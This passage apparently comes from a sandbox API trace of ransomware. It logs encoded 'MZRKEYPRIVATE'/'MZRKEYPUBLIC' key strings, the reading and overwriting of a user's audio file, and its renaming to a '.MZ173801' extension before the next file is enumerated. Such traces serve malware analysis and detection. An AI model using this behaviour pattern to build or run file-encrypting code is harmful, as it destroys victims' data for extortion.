DE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24d951c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0158.629] GetCurrentThreadId () returned 0xab4 [0158.629] GetCurrentThreadId () returned 0xab4 [0158.629] GetCurrentThreadId () returned 0xab4 [0158.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24ea57c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.630] GetCurrentThreadId () returned 0xab4 [0158.630] GetCurrentThreadId () returned 0xab4 [0158.630] GetCurrentThreadId () returned 0xab4 [0158.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\FqOJo-o8.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\fqojo-o8.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.630] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.630] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.630] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x174a5 [0158.630] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.630] ReadFile (in: hFile=0x2f8, lpBuffer=0x24f2380, nNumberOfBytesToRead=0x174a5, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24f2380*, lpNumberOfBytesRead=0x19f74c*=0x174a5, lpOverlapped=0x0) returned 1 [0158.631] CloseHandle (hObject=0x2f8) returned 1 [0158.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\FqOJo-o8.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\fqojo-o8.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.634] WriteFile (in: hFile=0x2f8, lpBuffer=0x250a3b0*, nNumberOfBytesToWrite=0x174a5, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x250a3b0*, lpNumberOfBytesWritten=0x19f758*=0x174a5, lpOverlapped=0x0) returned 1 [0158.636] CloseHandle (hObject=0x2f8) returned 1 [0158.639] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\FqOJo-o8.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\fqojo-o8.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\FqOJo-o8.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\fqojo-o8.wav.mz173801")) returned 1 [0158.639] GetCurrentThreadId () returned 0xab4 [0158.639] GetCurrentThreadId () returned 0xab4 [0158.639] GetCurrentThreadId () returned 0xab4 [0158.639] GetCurrentThreadId () returned 0xab4 [0158.640] GetCurrentThreadId () returned 0xab4 [0158.640] GetCurrentThreadId () returned 0xab4 [0158.640] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9767bf50, ftCreationTime.dwHighDateTime=0x1d5ed90, ftLastAccessTime.dwLowDateTime=0xd0e8a030, ftLastAccessTime.dwHighDateTime=0x1d5e6d0, ftLastWriteTime.dwLowDateTime=0xd0e8a030, ftLastWriteTime.dwHighDateTime=0x1d5e6d0, nFileSizeHigh=0x0, nFileSizeLow=0x1868a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="RaqZQNwTN3mbA0F.m4a", cAlternateFileName="RAQZQN~1.M4A")) returned 1 [0158.640] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.640] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\RaqZQNwTN3mbA0F.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\raqzqnwtn3mba0f.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9767bf50, ftCreationTime.dwHighDateTime=0x1d5ed90, ftLastAccessTime.dwLowDateTime=0xd0e8a030, ftLastAccessTime.dwHighDateTime=0x1d5e6d0, ftLastWriteTime.dwLowDateTime=0xd0e8a030, ftLastWriteTime.dwHighDateTime=0x1d5e6d0, nFileSizeHigh=0x0, nFileSizeLow=0x1868a)) returned 1 [0158.640] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\RaqZQNwTN3mbA0F.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\raqzqnwtn3mba0f.m4a")) returned 0x20 [0158.640] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\RaqZQNwTN3mbA0F.m4a", dwFileAttributes=0x80) returned 1 [0158.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d951c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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